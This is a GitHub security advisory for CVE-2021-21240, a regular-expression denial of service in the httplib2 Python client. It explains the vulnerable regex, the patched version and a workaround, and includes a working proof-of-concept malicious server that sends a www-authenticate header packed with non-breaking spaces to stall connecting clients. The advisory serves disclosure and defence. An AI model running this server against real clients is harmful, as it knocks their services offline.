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Regular Expression Denial of Service (REDoS) in httplib2

High severity GitHub Reviewed Published Feb 8, 2021 in httplib2/httplib2 • Updated Sep 23, 2024

Package

pip httplib2 (pip)

Affected versions

< 0.19.0

Patched versions

0.19.0

Description

Impact

A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.

Patches

Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library.
httplib2/httplib2#182

Workarounds

import httplib2
httplib2.USE_WWW_AUTH_STRICT_PARSING = True

Technical Details

The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/__init__.py#L336-L338

The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:

\s*[^ \t\r\n=]+\s*=

Since all three infinitely repeating groups accept the non-breaking space character \xa0, a long string of \xa0 causes catastrophic backtracking.

The complexity is cubic, so doubling the length of the malicious string of \xa0 makes processing take 8 times as long.

Reproduction Steps

Run a malicious server which responds with

www-authenticate: x \xa0\xa0\xa0\xa0x

but with many more \xa0 characters.

An example malicious python server is below:

from http.server import BaseHTTPRequestHandler, HTTPServer

def make_header_value(n_spaces):
    repeat = "\xa0" * n_spaces
    return f"x {repeat}x"

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.log_request(401)
        self.send_response_only(401)  # Don't bother sending Server and Date
        n_spaces = (
            int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
            if len(self.path) > 1 else
            65512  # Max header line length 65536
        )
        value = make_header_value(n_spaces)
        self.send_header("www-authenticate", value)  # This header can actually be sent multiple times
        self.end_headers()

if __name__ == "__main__":
    HTTPServer(("", 1337), Handler).serve_forever()

Connect to the server with httplib2:

import httplib2
httplib2.Http(".cache").request("http://localhost:1337", "GET")

To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000

References

Thanks to Ben Caller (Doyensec) for finding vulnerability and discrete notification.

For more information

If you have any questions or comments about this advisory:

References

@temoto temoto published to httplib2/httplib2 Feb 8, 2021
Reviewed Feb 8, 2021
Published to the GitHub Advisory Database Feb 8, 2021
Published by the National Vulnerability Database Feb 8, 2021
Last updated Sep 23, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity None
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P

EPSS score

0.364%
(73rd percentile)

Weaknesses

CVE ID

CVE-2021-21240

GHSA ID

GHSA-93xj-8mrv-444m

Source code

Credits

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